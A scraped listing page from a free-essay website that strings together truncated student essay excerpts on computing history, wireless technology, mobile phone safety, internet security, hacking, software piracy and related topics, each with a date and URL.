information about. To see a ScreenTip for a dialog box option, click the question mark button in the dialog box, and then click the option. (If you don't see the question mark button, select the option and then press SHIFT+F1.) To see the name of a 2005-06-20T00:37:43-04:00 http://75.150.148.189/free-essay/Asking-for-Help-from-the-Office-Assistant-27018.aspx History of Electronics Military equipment, toys, communication, home electronics, computing, cars, satellites and others. This is only a partial list of products, which contain electronics. Actually electronics won our world. We wake up with the ring of electronic clock, drink coffee from a electronic coffee machine, work with computers, learn by using video conferences, listen to the music from a sound system and go to sleep while adjusting our electronic watch for tomorrow morning. It is hard even to think that only a hundred years ago our world seemed different at all from this point of view. But how did the electronics revolution begin? Which research and discovery was the basis for this modification? Why was it so fast, relatively to other developments in history? I will try to answer these questions in this observation. Theoretical and experimental studies of electricity started in the 18th and 19th centuries enabled the development of the first electrical machines and the wide use of electricity. During that time the first theory was founded and the rules of electricity was formulated. The event of identification of the electron in second half of 19th century by the English physicist J.J. Thompson and the measurement of its electric charge in 1909 by the American physicist A. Millikan were the point of turning the electronics evolution separately from that of electricity. Another coarse of interest to electronics was the observation of the American inventor Thomas A. Edison. He noticed that the current of electrons would flow from one electrode to another, if the second one was with relatively positive charge. This discovery led to the development of electron tubes. Electron tubes became very useful for manufactory at that time. X-ray tube, the radio signal detectors and transmitters, and the first power systems were based on electron tubes. The development of the vacuum tube and later the three-electrode tube by adding the grid between the anode and the cathode (Negative and positive electrodes in the tube) improved the characteristics of the tube by far and made it more useful for different electronic applications. The first half of the 20th century was the era of the vacuum tubes in electronics. Using the tube permitted the development of radio, long-distance telephony, television and even the first computers. The most known one was the ENIAC (Electronic Numerical Integrator and Computer) completed in 1946. The first and the second World Wars gave 2005-06-05T01:19:19-04:00 http://75.150.148.189/free-essay/History-of-Electronics_--26826.aspx Early Computers: A History of Computing Computers are a part of our everyday lives, but about two decades ago, computers were just beginning to enter homes. Many people don’t realize what the computer evolved from, and the speed at which computer technology has taken to arrive to what it is today. The earliest know computer is the abacus, invented by the Chinese in 2600 B.C. Not many people consider this to be a computer, but by definition, it is. One of the more recent early computers was built by Herman Hollerith, who invented a machine that used a system of cards with holes in them. By using these cards he was able to calculate the United State Census. Hollerith’s Computer Tabulating-Recording Company changed its name in 1924 to International Business Machines, IBM for short. This is the same IBM that is known today to many computer users. During the 1980s and 1990s, IBM was a large player in the personal computer market. It was as important as Microsoft is the to the world of computing today. The main term that was used was, “IBM-Compatible.” A large movement in computer technology was the use of vacuum tubes. In 1904 John Ambrose Fleming invented the first commercial diode vacuum tube. Thomas Edison already discovered this, but discarded the discovery as useless. Before the vacuum tube was discovered, computers were made of gears and switches. Now with the vacuum tube, it acted as a switch turning on and off much faster than standard switches. This also caused less wear and tear on the machine, prolonging the life of the computer, lessening the frequency of repairs. In 1943 ENIAC (Electronic Numerical Integrator Analyzer and Computer) was built. It was the first all electronic computer, and required so much electricity that when the power was turned on, the lights around Philadelphia dimmed. The ENIAC was used by the United States Military to produce trajectory tables. The ENIAC was able to compute 5,000 additions a second, but it took 2 days to set up these equations. The cost of the ENIAC was $500,000, weighed 30 tons, 100 feet long, and 8 feet high. Inside the ENIAC were 1,500 relays, and 17,468 vacuum tubes. These vacuum tubes consumed 200 kilowatts of electricity, thus causing it’s own circuits to fry. The ENIAC broke down frequently. The problem was that the tubes within the ENIAC produced heat, and 2005-06-03T06:00:57-04:00 http://75.150.148.189/free-essay/Early-Computers-A-History-of-Computing-26821.aspx What is WAP? Wireless Application Protocol Overview What is WAP? WAP stands for Wireless Application Protocol. The idea has been developed by some of the wireless telecommunications giants such as Nokia and Ericsson. The Wireless Application Protocol (WAP) uses the Internet as a gateway for the transmission of the protocol. WAP has brought the Internet and the sub-services that it provides right into our lives as we are on the move. WAP brings us information right to the screen of our mobile phone. WAP offers the possibility to call specific WAP pages directly from the Internet; these WAP pages can be seen in a display, but their presentation is reduced and without illustrations and charts. The possibilities of WAP are nearly endless: Entertainment - sending messages - calling sport results, stock exchange quotations, arrivals and departures of airplanes and trains - (nearly) everything is possible. Especially in business WAP seems to be the "star performer" as to corporate communication solutions. Trends in WAP Customers willing to make use of these new possibilities need a WAP phone. This is a GSM mobile phone with incorporated modem and WAP browser. The data is transmitted with the usual transmission rate of 9.6 kBit/s. As to the consumers' interest in WAP there are still controversies. Mobile phones recorded in the UK very high sales rates during the 2nd quarter of 2000, however the sales rates of WAP phones were not that good. At the end of May 2000 there were worldwide more than 150,000 WAP pages and the offer of WAP pages continues to increase with explosive growth rates. (Forrester Research, 2000) International analysts predict that the demand for appropriate equipment will increase rapidly in the coming few months. After the online boom in 1990's WAP will be the next growth industry of the twenty-first century. The conditions seem to be ideal: The consumers' interest in online services and e-commerce does not stop to show an upward trend. For the time being there are worldwide several millions of persons using mobile phones, their number is still growing. WAP is based on GSM technology, the worldwide most used mobile phone system that has turned out to be the standard on all continents. (only in the USA there are more systems competing with GSM). Forrester Research believes in their study that in 2002 worldwide more than 100 million persons will use WAP phones. A forecast of the producer Ericsson confirms 2005-05-19T03:08:52-04:00 http://75.150.148.189/free-essay/What-is-WAP-Wireless-Application-Protocol-Overview-26665.aspx Wireless Internet By 2004, the wireless subscriber base worldwide is expected to reach 1.4 billion users, and approximately 300 million users will be accessing the Internet from some form of wireless appliance. The race is on, and Nortel Networks have first-mover advantage. Nortel Networks already demonstrated wireless applications at speeds more than 25 times faster than today's industry standard. Recently, Herschel Shosteck Associates ranked Nortel Networks first in Wireless Internet infrastructure strategy, and The Yankee Group ranked Nortel Networks first in next-generation Wireless Internet architecture. More than 75 percent of North American and 50 percent of European backbone Internet traffic travels across Nortel optical networking equipment. Now Nortel Networks helping service providers deliver the unconstrained access and high bandwidth multimedia content second Wave of eBusiness customers demand. Nortel Networks 3G (Third Generation) networks provide wireless operators with faster time-to-market and greater profitability. Nortel Networks solutions offer clear migration paths, allowing service providers to leverage their existing network investments while upgrading. And they work collaboratively with Nortel Networks customers, achieving the fastest time-to-market possible. Wireless Internet gives emerging wireless service providers a powerful opportunity to differentiate themselves from their competition based on the ability to rapidly create and deliver profitable next-generation Wireless Internet services while maximizing the efficiency of their networks. Wireless Internet brings value to service providers by: Helping generate profits, quickly. Reducing the time required to design and deploy new Wireless Internet services. It's enabling new revenues quickly and assuring a positive return on their network investment. Wireless Internet also improving performance, at reduced costs by facilitating the fast identification and repair of network faults, the proactive optimization of network performance, and the acceleration of the service-provisioning process. Nortel Networks also Evolving and growing with service providers' needs by supporting multiple wireless network technologies, spanning multiple wireless-network generations, and building cross-domain management capabilities on a single, scalable, and open platform. Nortel Networks' state-of-the-art DMS-100 Wireless product is a multi-functional switching system that integrates the industry's most respected DMS-100/200 (local/toll) wireline and DMS Mobile Telephone Exchange (MTX) digital wireless switching systems onto a single hardware platform. The DMS-100 Wireless offers a flexible and cost effective way for a service provider to establish a single point of presence in both traditional wireline and wireless markets, as well as new data and internet telephony markets. And, by delivering new integrated customer services such as a single voice mail box, one number capabilities, and 2005-05-17T02:47:14-04:00 http://75.150.148.189/free-essay/Wireless-Internet-and-Nortel-Networks-26646.aspx History Of Computers The earliest existence of a modern day computer's ancestor was the abacus. These date back to almost 2000 years ago. It is simply a wooden rack holding parallel wires on which beads are strung. When these beads are moved along the wire according to "programming" rules that the user must memorize, all ordinary arithmetic operations can be performed. The next innovation in computers took place in 1694 when Blaise Pascal invented the first "digital calculating machine". It could only add numbers and they had to be entered by turning dials. It was designed to help Pascal's father who was a tax collector. In the early 1800's, a mathematics professor named Charles Babbage designed an automatic calculation machine. It was steam powered and could store up to 1,000 50-digit numbers. Built into his machine were operations that included everything a modern computer would need. It was programmed by, and stored data on, cards with holes punched in them, appropriately called "punch cards". But his inventions became failures because of the lack of precision machining techniques used at the time and the lack of demand for such a device. By the late 1930s punched-card machine techniques had become so well established and reliable that Howard Hathaway Aiken, in collaboration with engineers at IBM, undertook construction of a large automatic digital computer based on standard IBM electromechanical parts. Aiken's machine, called the Harvard Mark I, handled 23-digit numbers and could perform all four arithmetic operations. The Mark I was controlled from pre-punched paper tape. The outbreak of World War II produced a desperate need for computing capability, especially for the military. In 1942, John P. Eckert, John W. Mauchley, and their associates at the University of Pennsylvania decided to build a high-speed electronic computer to do the job. This machine became known as ENIAC, for "Electrical Numerical Integrator And Calculator". It could multiply two numbers at the rate of 300 products per second, by finding the value of each product from a multiplication table stored in its memory. ENIAC was thus about 1,000 times faster than the previous generation of computers. ENIAC used 18,000 standard vacuum tubes, occupied 1800 square feet of floor space, and used about 180,000 watts of electricity. It used punched-card input and output. The ENIAC was very difficult to program because one had to re-wire it to perform whatever task he wanted the computer to 2005-05-15T01:56:13-04:00 http://75.150.148.189/free-essay/History-of-Computers-and-Personal-Computing-26604.aspx Computer Science Terms: Composite structure: the size of a typical software system implies that it must be broken down into manageable pieces of this Composition: the process of building a system using simpler parts or components Abstraction: the process of ignoring details irrelevant to the problem at hand and emphasizing essential ones. To abstract is to disregard certain differentiating details Data: the info the program deals with Functionality: what the program does with the data, the responsibility of the object to do Object: the most abstract description of a basic component of an object oriented system Values: a fundamental piece of info that can be manipulated by the program Types: a set of related values along with the operations that can be preformed with them Object: fundamental abstractions from which systems are built Classes: a set of objects having the same features and properties State of an object: the set of data maintained by an object at any given time Reference values: a value that denotes an object Data descriptions: properties of the object (name, date, etc) Associated value: a property an object has at any given time Variable: a portion of memory reserved to hold a single value Instance variables: a variable that is a permanent part of an object: memory space for the variable is allocated when the object is created Immutable: an object that’s state cannot be changed Mutable: and object that’s state can be changed *An object is characterized by the features it offers* 1. Query: a request for data 2. Command: a request to change state Float & Double: sets of real rational numbers (i.e. 170000 or 1.4e12) Char: set of values representing Unicode characters Boolean: true or false values Int value: contains a single integer String: and immutable object that contains a sequence of characters Identifier: a sequence of characters that can be used as a name in a Java program Literal: a sequence of characters that denotes a particular value in a Java program Comments: explanatory remarks that are included in a program for the benefit of a human reader and are ignored by the compiler Chapter 2: Features of an object: queries and commands *A client queries and commands a server* Specification (interface): definition of an object’s features, as seen by its clients Implementation: provides the internals that actually make up the features Packages: groups of classes Public class: indicates that the objects of that class will be accessible throughout the system Public void: a command is a query that changes the state of the object but do not provide the client with a 2005-04-20T04:46:31-04:00 http://75.150.148.189/free-essay/Computer-Science-Terms-26525.aspx Netspeak:An analysis of Internet jargon Approximately 30 million people world-wide use the Internet and online services daily. The Net is growing exponentially in all areas, and a rapidly increasing number of people are finding themselves working and playing on the Internet. The people on the Net are not all rocket scientists and computer programmers; they're graphic designers, teachers, students, artists, musicians, feminists, Rush Limbaugh-fans, and your next door neighbors. What these diverse groups of people have in common is their language. The Net community exists and thrives because of effective written communication, as on the net all you have available to express yourself are typewritten words. If you cannot express yourself well in written language, you either learn more effective ways of communicating, or get lost in the shuffle. "Netspeak" is evolving on a national and international level. The technological vocabulary once used only by computer programmers and elite computer manipulators called "Hackers," has spread to all users of computer networks. The language is currently spoken by people on the Internet, and is rapidly spilling over into advertising and business. The words "online," "network," and "surf the net" are occuring more and more frequently in our newspapers and on television. If you're like most Americans, you're feeling bombarded by Netspeak. Television advertisers, newspapers, and international businesses have jumped on the "Information Superhighway" bandwagon, making the Net more accessible to large numbers of not-entirely-technically-oriented people. As a result, technological vocabulary is entering into non-technological communication. For example, even the archaic UNIX command "grep," (an acronym meaning Get REpeated Pattern) is becoming more widely accepted as a synonym of "search" in everyday communication. The argument rages as to whether Netspeak is merely slang, or a jargon in and of itself. The language is emerging based loosely upon telecommunications vocabulary and computer jargons, with new derivations and compounds of existing words, and shifts creating different usages; all of which depending quite heavily upon clippings. Because of these reasons, the majority of Net-using linguists classify Netspeak as a dynamic jargon in and of itself, rather than as a collection of slang. Linguistically, the most interesting feature of Netspeak is its morphology. Acronyms and abbreviations make up a large part of Net jargon. FAQ (Frequently Asked Question), MUD (Multi-User-Dungeon), and URL (Uniform Resource Locator) are some of the most frequently seen TLAs (Three Letter Acronyms) on the Internet. General abbreviations abound as well, in more friendly and 2005-04-13T03:02:03-04:00 http://75.150.148.189/free-essay/An-Analysis-of-Internet-Jargon-Netspeak-26491.aspx Parity/Non-parity Parity check Early transmission codes had a serious problem in that a bit could be lost or gained in transmission because of an electrical or mechanical failure/ If the loss went undetected, the character received on the other end of the lime was incorrect. To Prevent this from happening, a parity check system was developed. Each character is represented by a byte consisting of a combination of intelligence bits (seven bits in ASCII and eight bits in EBCDIC) and an additional bit called a check or parity bit. Even parity codes place a check bit with each byte that contains an uneven number of 1 bits. (Remember that a bit is either 1 or o). Because the check bit is transmitted only with characters composed of an uneven number of 1 bits,all characters transmitted will have n even number of 1 bits. The 2005-04-13T03:00:59-04:00 http://75.150.148.189/free-essay/About-Parity-Codes,-History-26490.aspx Millions of people own a mobile phone these days, and ever since they have been around scientists question the fact of they are safe or not. Do they cause tumors, earaches, mercury poisoning? All these health risks are mentioned in every article I found. But nowhere could I find anything that was sure if mobiles did cause all of the above. This is where science fails us. The problem is that mobile phones are still too new to know the long-term effects on human. Mobile phones give of a radiation of radio frequency round 10MHz to 300Ghz. But so do other appliances. Why does mobiles especially get put in the picture of being hazardous? Soon it will be clear whether the radio frequency emissions from mobiles cause health effect. Drivers who use there mobiles whilst driving are the only “health risk” that can be proven, the drivers get distracted and lose control over the vehicle. Technology invented something for this, hands-free sets. But now the question is do those hands free sets really solve the problem? Researchers now are looking at if the hands free sets don’t cause other problems. A report from the magazine “which?” said that hands free kits raised levels if radiation to the head from mobile phones by up to three and a half times. The consumer association immediately stressed that it had done no research into this whether this radiation could cause damage to the brain. That just proves that whenever there has been research a report is released to prove that research wrong. Probably is done not to cause any chaos. Mobiles are said to cause brain tumors, they say this because there was found to be more tumors of the same kind amongst mobile phone users. Mobiles cause memory loss, radiation sickness. Mobiles can disturb your sleep pattern, according to the researchers from the university of Zurich, mobile phones increases brain activity during our sleep. A really strange result of the use of mobile phones is that mobile phones can release the poisonous mercury from fillings causing brain damage, scientist say this is due to the electrical fields given off by mobile phones can activate the mercury, giving off a gas. The fumes attach the nervous system causing conditions from depression, asthma to Alzheimer’s disease and multiple sclerosis. Some studies have suggested links between Radio frequency radiation and lymphoma, microwaves and memory loss, 2005-03-24T03:49:51-04:00 http://75.150.148.189/free-essay/How-Safe-are-Mobile-Phones--26396.aspx Security on the Internet How do you secure something that is changing faster than you can fix it? The Internet has had security problems since its earliest days as a pure research project. Today, after several years and orders of magnitude of growth, is still has security problems. It is being used for a purpose for which it was never intended: commerce. It is somewhat ironic that the early Internet was design as a prototype for a high-availability command and control network that could resist outages resulting from enemy actions, yet it cannot resist college undergraduates. The problem is that the attackers are on, and make up apart of, the network they are attacking. Designing a system that is capable of resisting attack from within, while still growing and evolving at a breakneck pace, is probably impossible. Deep infrastructure changes are needed, and once you have achieved a certain amount of size, the sheer inertia of the installed base may make it impossible to apply fixes. The challenges for the security industry are growing. With the electronic commerce spreading over the Internet, there are issues such as nonrepudiation to be solved. Financial institutions will have both technical concerns, such as the security of a credit card number or banking information, and legal concerns for holding individuals responsible for their actions such as their purchases or sales over the Internet. Issuance and management of encryption keys for millions of users will pose a new type of challenge. While some technologies have been developed, only an industry-wide effort and cooperation can minimize risks and ensure privacy for users, data confidentiality for the financial institutions, and nonrepudiation for electronic commerce. With the continuing growth in linking individuals and businesses over the Internet, some social issues are starting to surface. The society may take time in adapting to the new concept of transacting business over the Internet. Consumers may take time to trust the network and accept it as a substitute for transacting business in person. Another class of concerns relates to restricting access over the Internet. Preventing distribution of pornography and other objectionable material over the Internet has already been in the news. We can expect new social hurdles over time and hope the great benefits of the Internet will continue to override these hurdles through new technologies and legislations. The World 2005-02-28T02:06:11-05:00 http://75.150.148.189/free-essay/Security-on-the-Internet-26340.aspx Technology And Media Margaret Engel and others believe that video satellite phones, and successor technologies based on more traditional mobile-phone networks, may be as liberating a force in journalism as the Internet has been. These technologies have made it possible for the average person to act as their own personal camera crew and reporter. It puts the power of the media in the hands of people worldwide. Are these new technologies going to change the media in an unfavorable way? Thomas B. Rosenstiel, a writer for the Los Angeles Times, says "Technology is a blessing and a curse." By changing media formats, we change the way information is gathered, presented, processed, and the way consumers are affected by it. The average reporter today is working under a tight deadline, much the same as a live television correspondent does. The problem is that in the past, accuracy and speed do not mix. With the new instant access to information, accuracy can suffer greatly. Clearly, one can argue that inaccurate newscasts are immoral and should be condemned. This might also fall into the "false advertisement" section of the United States legal system. After considering ethics and the law, it's evidence that goes against the development of advanced technologies. I think the development and heightened use of video satellite phones could lead to chaos in the media. This dilemma can also be evaluated with a utilitarian calculation. I would argue that the use of these mobile satellite phones would wreak havoc among the many broadcasting companies operating today. It gives the ability to broadcast news to people who might not be qualified to work with important or top secret information. I think this could lead to total chaos. People could broadcast any event to millions. Events like concerts, plays, or even movies could be broadcasted to people at low cost and totally disrupt the entire entertainment industry. Its reason like these that prove the utilitarian argument in that the use of these phones will not cause the greatest amount of happiness to the greatest number of people, in fact it will only inspire turmoil. On the other hand, taking a Kantian view, the intent of these satellite phones is to be used for the spread of information, like the Internet. Although this argument is made, I feel it's 2005-02-23T03:44:27-05:00 http://75.150.148.189/free-essay/Technology-And-Media--26306.aspx [i:235d72b01f]Mobile phones; an essential for modern living or a life-threatening accessory? [/i:235d72b01f] This is the question the country is asking. Mobile phones are considered by many as an essential part of modern day life, from the businessperson who uses the mobile phone as a vital link with the office, to the teenager who has the phone for recreational use. By using mobile phones are we damaging our long-term health just to stay in contact or worse simply just for a good image? Mobile or cellular phones have changed dramatically over the past two or three years. The new generation of WAP phones now allow the user to connect to the Internet, send e-mail and even listen to the radio. The e-mail feature, a tremendous advancement in technology, allows businesspeople to contact their office at anytime day or night. Not only can e-mail be used throughout Britain but also messages can be sent globally. Sending e-mail is not nearly as expensive as the conventional methods of contact, therefore has the potential to reduce costs considerably for the company. The e-mail can be sent anytime, not just within office hours, and time differences between countries are no longer a consideration. Many mobile phone users claim one of the main advantages of ownership is the ability to contact friends or family in the event of an emergency. Most women who travel alone feel more secure knowing that in an emergency or breakdown they can summon help without leaving the safety of their car therefore, the mobile reduces the chances of being run over or worse raped. By having your mobile phones with you could it be a silent killer? The reduction in costs associated with owning and using a mobile phone, largely due to the introduction of the new pay and go tariff, means that many more people are now able to afford a mobile phone. The main disadvantage of this is that the networks can become overloaded and make it extremely difficult to connect to the network. The consequences of this could be disastrous, mobile phone owners are lead to believe that they can contact help in the event of an emergency when, in effect the crowed network may make this impossible. Many parents are increasingly buying mobile phones to stay in contact with their children. In doing so are 2005-02-23T03:43:57-05:00 http://75.150.148.189/free-essay/Are-Mobile-Phones-Essential-or-Dangerous-26305.aspx Future Of Enterprise Linux The jury is still out on how Linux will build on its initial proliferation in the enterprise. Linux vendors have consolidated in search of solid ground, but IBM's incarnation of the penguin may portend success in tomorrow's high-speed networks. We asked industry experts how they expect Linux to reach its stride. Linux has demonstrated its worth at the server level and in clustering. In addition to being a robust operating system, its nonproprietary nature allows OEMs to tweak the architecture for resource-intensive applications and environments. It also allows freedom of movement away from Microsoft--something the industry has sought for quite a while. Network administrators report consistent performance advantages of Linux over Windows NT and 2000. It would be a wise move for Microsoft to make its application suites operational on Linux, as the Linux platform continues gaining market share and there remains a shortage of applications for it. We can expect Linux to continue gaining momentum in niche areas such as finance, telecommunications, Web hosting, applications service provision, and similar environments requiring high resilience and reliability. Linux will continue to attract developers in part because of its memory management capabilities, including process swapping, file buffering, and direct memory access (DMA); virtual file system and the second extended file system; and interprocess communication (IPC). Linux will threaten but not replace Windows or Unix as the OS that corporations prefer in all server tiers through 2005. Linux will move through three phases of acceptance. In Phase 1, Linux battles for corporate credibility in network services, with early adopters enthused by Linux's robustness and low cost. In Phase 2, Linux gains durable roots--particularly in Web servers and clustered server farms--partly at the expense of Windows 2000 and costly Unix/RISC solutions. In Phase 3, ISV enthusiasm for Linux increases. But Unix's mission-critical scalability and availability, strong Windows 2000 upgrades, and potentially heavy migration costs throttle broad ISV enthusiasm. Increased complexity and insufficient skills will also retard corporate acceptance. Success will get complicated and expensive for Linux distributors since value will come from an OS/middleware software stack and services. Most ISVs will commit resources only to the top two or three Linux distributions. Some Linux vendors will inevitably fail; others will merge or be acquired. IBM boldly stated that in 2001 Linux will surmount the chasm separating it from the enterprise. If so, IBM is best positioned to capitalize. However, Linux faces 2005-02-20T06:24:26-05:00 http://75.150.148.189/free-essay/Future-Of-Enterprise-Linux,-Product-Evaluation-26281.aspx Reproductive Technology In the 1990's, new technological questions have arisen over in-vitro fertilization and genetic engineering. These questions have become about as humankind has advanced in its scientific and technological knowledge. As we gain more control over nature, we will inevitably face tough questions about how to exercise this control. One area of concern is reproductive technologies like in-vitro fertilization. Such technologies are meant to give an infertile couple the opportunity to have a child of their own. In-vitro fertilization seems to be a noble effort. It is giving a second chance for couples that are infertile. The intentions of such couples are pure, because they want to have a baby. Technology seems to be used for good purpose as it tries to help the infertile couple produce a child. So in-vitro fertilization is good. But I have a few concerns. In the United States, there are thousands of kids being put up for adoption. Many of these children would like to have parents who would love them. Unfortunately, there seems to be more children in orphanages, then parents who are looking for children through adoption. Infertile couples should look toward adopting children first, rather than trying to spend so many of their psychological and financial resources for trying to produce a baby with their genes. Though an adopted child does not have the genes of the adoptive parents, the adopted child will become the adoptive parent's own through love. With more discoveries in genetics, the idea of genetic manipulation and cloning has arisen. Unfortunately, many questions have to be asked. With genetic engineering, there arises the hope of preventing and curing cancer and other genetic diseases. Such hopes are good and noble. But at what point does genetic manipulation become dangerous? There is concern that genetic manipulation could be used to create "superhumans" or children manipulated according to aesthetic and social criteria. Such a use is troubling to those who are different and imperfect. What if it's undesirable for children to be short and of average strength? Such a line should not be crossed. Genetic manipulation should be used to cure disease, and not create superhumans. In addition, cloning presents another problem. Nature never intended children to be genetically identical to their parents. Further, cloning might be inappropriate as it may be 2005-01-08T09:09:39-05:00 http://75.150.148.189/free-essay/Reproductive-Technology-Summary-26155.aspx Designing a Network I. STATEMENT & BACKGROUND The college of Business (COB) server is now being used to support deliver to the Computer Information System (CIS) department. The CIS professors would be using the server for various operations. Assignments, e-mail, and other types of information would be easier for the students to access. Network users are able to share files, printers and other resources; send electronic messages and run programs on other computers. However, certain important issues need to be addressed and concentrated on. In order to begin the process of setting up the COB server, the total numbers of users (faculty and students) must be determined. Some other significant factors to be approached are: the required software applications needed on the network, an efficient and appropriate directory structure and effective security structure. In designing the directory structure, the major focus must be on accessibility. The number of undergraduate CIS courses that the server will be used for is be! tween 15 and 17. For the users to be ensured that their information is not at risk, we will create an effective security structure. In composing the appropriate security structure there must be certain access rights assigned to the users. An important technical detail in setting up a server is the amount of money that will need to be allocated for the restructuring of the system. For the system to function properly, the amount of hardware/ software will need to be determined. II. FUNCTIONAL REQUIREMENTS The COB server will primarily be used by CIS professors and CIS students. The approximate number of professors in the CIS department is between five and seven and the approximate number of CIS majors is between 100 and 120. As computer technology continues to grow, the number of CIS majors is vastly increasing. If we see a considerable rise in Computer Information Systems majors the department will have to expand its faculty members. The CIS professors will be using the server to disburse their syllabi, distribute specific assignments and send e-mail to their students. The layout, design and complexity of each class will determine how much the professor may be using the server. The first class a CIS major usually takes at Western is CIS 251. Management Information Systems (CIS 251). This class offers students a basis for management information systems in business organizations. In putting the COB server to use 2004-12-29T07:04:16-05:00 http://75.150.148.189/free-essay/Designing-a-Network-26099.aspx Introduction I. What is GPS? A. History B. Development II. How Does GPS Work? A. Satellites and Receivers B. The Three Parts of GPS III. Applications of GPS A. Military B. Civilian Conclusion The Global Positioning System With the proliferation of satellite-based defense systems and their continuing presence in the media it makes us more aware of our national defense. The United States is large, economically strong and a sometimes tumultuous presence in the global community. Although we may feel secure because of our superior technology and defense capabilities, our size and position in world affairs can make us a target for some countries. We can no longer be concerned with just our borders and now what comes from the skies and the sea is more of a threat than ever before. The United States government had to develop a way to counter these possible attacks and the Global Positioning System (GPS) was conceived. The Global Positioning System was initiated in 1973 by the Department of Defense (DOD). It was developed by the the DOD because at a cost of over twelve billion dollars the government had the monetary resources to achieve these idealistic goals. Since that time it has grown from one satellite used strictly by the military to twenty-six satellites that can be used by civilians also. This satellite system is used to determine the speed and position of an object anywhere in the world within one hundred meters to mere millimeters depending on the size and quality of user equipment.(GPS JOINT PROGRAM OFFICE. ICD-GPS-200:GPS INTERFACE CONTROL DOCUMENT.) The original purpose of GPS was to maintain a strategic military advantage over our enemies. Toward the end of the arms race the targeting of ballistic missiles became so exact they could land directly on an enemy missile silo and destroy any missiles inside of it. The ability to take out your enemies missiles from great distances had a major effect on the balance of power. To maintain the balance of power the United States government had to develop a way to locate surfacing submarines in a matter of minutes anywhere in the world. With the use of satellites in orbit the Global Positioning System was created. GPS uses twenty-six satellites and ground tracking stations around the world to compute distances using time. This is done by finding the difference between the time a signal is sent and the time it is received. The satellites 2004-12-29T06:57:21-05:00 http://75.150.148.189/free-essay/Global-Positioning-System-GPS-Research-Paper-26095.aspx Hacking Describe a negative aspect of ICT’s impact on the information society. Describe how ICT has brought this about and what society is has done in response to it. Abstract Hacking has been and still disease different societies suffer from. The essay aims to provide the reader with knowledge regarding the effects hacking caused to our society, and how the society responded and tried to solve or minimize those effects. Different issues regarding hacking are discussed, such as the motivations that were behind guiding hackers who were at first computer professional to perform unauthorized activities, at the same time a discussion about the types of attacks can be found. The society response to hacking attacks lacks till this moment the ability to stop or completely prevent attacks from happening because as long as security tools are developed, more sophisticated hacking attacks are invented. That’s why we should start to think about hacker’s psychology as the main way to prevent and stop attacks by understanding their needs or desires. Introduction The Oxford English Dictionary defines hacking as “cut or chop roughly; mangle: cut (one’s way)”… to its present definition as “gain unauthorized access (to data in a computer)”. Banks (1997:11) defines hacking as “something that boring mainframe computer operators did to improve performance and battle boredom.” Here banks focuses on boredom as the reason of hacking. A more technical definition of hacking according to Digital Guards data base (2001) is “unauthorized use, or attempts to circumvent or bypass the security mechanisms of an information system or network.” Darlington (2001) believes hacking is not limited to accessing data or information but also includes an attack on the privacy of all people. Almost all different opinions agree on the illegality of hacking. On the other hand the word hacker is the agent of hack or hacking and it was defined as a person who enjoys accessing files whether for fun, imposing power or the interest related to the accessed files or data according to Taylor (1999). While Marotta (in Taylor, 1993) has a negative view of the hacker as a data lord, a barbarian who takes what he wants. Himanen (2001) defines hacker as any person who performs illegal actions whether they were related to computer or not which means the usage of a device apart from its functionality. Seems hacking according to Himanen is related to any illegal or unauthorized action. Seebach (1999) 2004-12-28T07:20:14-05:00 http://75.150.148.189/free-essay/Hacking-Research-Paper-26060.aspx Economic Consequences of Software Crime In 1996 worldwide illegal copying of domestic and international software cost $15.2 billion to the software industry, with a loss of $5.1 billion in the North America alone. Some sources put the total up-to-date losses, due to software crime, as high as $4.7 trillion. On the next page is a regional breakdown of software piracy losses for 1994. Estimates show that over 40 percent of North American software company revenues are generated overseas, yet nearly 85 percent of the software industry's piracy losses occurred outside of North America. The Software Publishers Association (SPA) indicated that approximately 35 percent of the business software in the North America was obtained illegally. In fact, 30 percent of the piracy occurs in corporate settings. In a corporate setting or business, every computer must have its own set of original software and the appropriate number of manuals. It is illegal for a corporation or business to purchase a single set of original s! oftware and then load that software onto more than one computer, or lend, copy or distribute software for any reason without the prior written consent of the software manufacturer. Many software managers are concerned with the legal compliance, along with asset management and costs to their organizations. Many firms involve their legal departments and human resources in regards to software distribution and licensing. Information can qualify to be property in two ways; patent law and copyright laws which are creations of federal statutes, which are subject to Constitutional authority. In order for the government to prosecute the unauthorized copying of computerized information as theft, it must first rely on other theories of information-as-property. Trade secret laws are created by provincial law, and most jurisdictions have laws that criminalize the violations of a trade-secret holder’s rights. The definition of a trade secret varies somewhat from province to province, but commonly have the same elements. For example, the information must be secret, not of public knowledge or of general knowledge in the trade or business. A court will allow a trade secret to be used by someone who discovered or developed the trade secret independently if the holder takes adequate precautions to protect the secret. In 1964, the National Copyright Office began to register software as a form of literary expression. The office based its decision on White-Smith Music Co. v. Apollo, where the Supreme 2004-12-28T07:11:33-05:00 http://75.150.148.189/free-essay/Economic-Consequences-of-Software-Piracy-26059.aspx E-Love It's a cool spring night in L.A. I should be outside kicking back, holding up the wall, chugging on a 40, instead, I'm sitting in a stuffy, cluttered little room, typing my screen name and password into my computer so I can log onto AOL. I'm bored. I'm restless. I'm lonely. I'm depressed. Once I navigate through the pop-up advertisements AOL throws at me almost daily and slog through a couple of digital reams of junk mail I pull up my shareware IRC chat program (which rather silly and pathetic, like " I have yet to register, shame on me) and connect to an EF net server. I'm one of the gazillions of schmucks out there looking for love in cyberspace. If I think about it too hard, it becomes why the hell are you here when you should be out meeting people in real life?" So I don't think about it. I just cruise. I join a couple of different chat rooms. I make a little idle chit chat. I get in some of the naughty channels. I don't care what you've heard, unless you have the intelligence of a cabbage, cybersex gets real old, real fast. There are only so many ways you can type, "oh yes, baby, do it just like that." I'm one of them weirdo's who thinks that our biggest sexual organ is the brain. I get bored, so I start showing off in a channel. I defy gravity, I make things appear and disappear, I dance all over the room. A little voice in the back of my mind tells me "you do realize you're just trying to get attention because you're lonely, don't you?" I tell the little voice what to go do with itself. But there's someone in the room who likes my shenanigans. Her nom de cybre is AbbyCat, and she joins in the fun. And after we play for a while in the public room, we create a little private room for a more intimate chat. Our chatting becomes incredibly naughty, only this time it's actually interesting. The woman on the other end has intelligence, charm, and a sense of humor. Frankly, you don't find too many of those in the naughty chatrooms, because they've been chased away by HNG's who have the personalities of leeches and the imagination of slugs. We continue for a while, enjoying the role-playing aspects 2004-12-26T01:00:40-05:00 http://75.150.148.189/free-essay/Internet-Love-Story-26047.aspx [i:e2ac43f576]Information Technology and Society[/i:e2ac43f576] Objectives o To investigate the implications of IT on society o To consider copyright and software licensing o To consider the safety and security of equipment, the user and data In this day and age, interacting somehow with a computer has become an integral part of a daily routine for millions of people. I have realised that whatever career I choose to follow, I will probably be a frequent user of computers. As technologies press forward, IT becomes progressively more important in our society and many jobs are changing. A good example showing the 